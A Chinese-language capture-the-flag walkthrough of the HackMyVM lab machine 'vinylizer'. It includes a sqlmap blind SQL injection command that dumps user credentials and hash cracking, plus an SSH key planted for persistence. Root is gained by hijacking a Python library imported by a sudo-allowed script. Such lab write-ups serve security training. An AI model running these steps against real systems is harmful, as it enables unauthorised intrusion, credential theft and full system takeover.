简介
靶机名称:vinylizer
难度:简单
靶场地址:https://hackmyvm.eu/machines/machine.php?vm=vinylizer
本地环境
虚拟机:vitual box
靶场IP(vinylizer):192.168.56.110
跳板机IP(windows 10):192.168.56.1 192.168.190.100
渗透机IP(ubuntu 22.04):192.168.190.30
扫描
zenmap随便扫下
nmap -p 1-65535 -T4 -A -v 192.168.56.110/32
22和80端口
http
唱片商场网页
sql注入
可以看到有一个登录界面
sqlmap一把梭。因为是时间盲注,所以可以把注入时间用--time-sec
调短一点。要等很长时间……
python3 sqlmap.py -u "http://192.168.56.110/login.php" --data "login=&password=123&username=" -D vinyl_marketplace -T users --dump-all --risk 1 --time-sec 1
[22:25:57] [INFO] 将哈希值写入临时文件 '/tmp/sqlmapqaim85il26926/sqlmaphashes-j41heunl.txt'
n
Database: vinyl_marketplace
Table: users
[2 entries]
+----+----------------------------------+-----------+----------------+
| id | password | username | login_attempts |
+----+----------------------------------+-----------+----------------+
| 1 | 9432522ed1a8fca612b11c3980a031f6 | shopadmin | 0 |
| 2 | password123 | lana | 0 |
+----+----------------------------------+-----------+----------------+
hashcat配合kali字典成功爆出来shopadmin的密码为addicted2vinyl
当然还有一种做法是cmd5爆米()
使用该密码后成功用ssh登录目标服务器
I_L0V3_V1NYL5
提权
先把公钥写进靶机ssh,方便后期连接
shopadmin@vinylizer:~$ cd .ssh
shopadmin@vinylizer:~/.ssh$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQClvG6svC2GWmvvZyP2dF1aWWsyDEfwoSCkaleG/VK38Dpzu4agS5FGrkZa2bnebp8LB1mdwEyUr8eq1RcApIDn8jhVaShDNj9EffzzCQWWnJ/1pEXJqmhgjkUvW5LngLTyrsAL2y4ko/zSNY4mebJxnfDc/COjl4u5Rh3PoV0GktC3b+9q4b3InVYjfTVrX77zi30zFhrmYT+0xpjfc1PUFmAqXiLx/zfDBTBAgOTrRZ098XZA63YsLV1YCQxc9iyIjyqJUjXD5lq70oMbub264BREBTFILmdLJQjVwctr/NdDn9TIeFLNBDXZzCGkpqCBUG4+VaqXL/gpQUCb/cJj0UMJBmRXfS0ltt1cWUlYkUb34hlSSrnbtdFkZYfkoZnrrQvJw86pMSO5HJah7XnZUlXQ7w47tloh/u6EW+zo0Q96wQ+SvHRE+XnhgKjQhpmcGWkU0Kw9u34MKS8T3g1uptopuHpa/XhBLah7poRtAtJsDDbVjcxlIW6XS2HT61s= root@koishi-reverse" >> authorized_keys
sudo - l
,看到利用点
shopadmin@vinylizer:~/.ssh$ sudo -l
Matching Defaults entries for shopadmin on vinylizer:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User shopadmin may run the following commands on vinylizer:
(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/vinylizer.py
这个脚本本身没啥利用,所以从它所使用的库文件入手
这里选择random库进行攻击,直接写入shell
import pty;pty.spawn("/bin/bash");exit()
然后执行命令,成功提权
4UD10PH1L3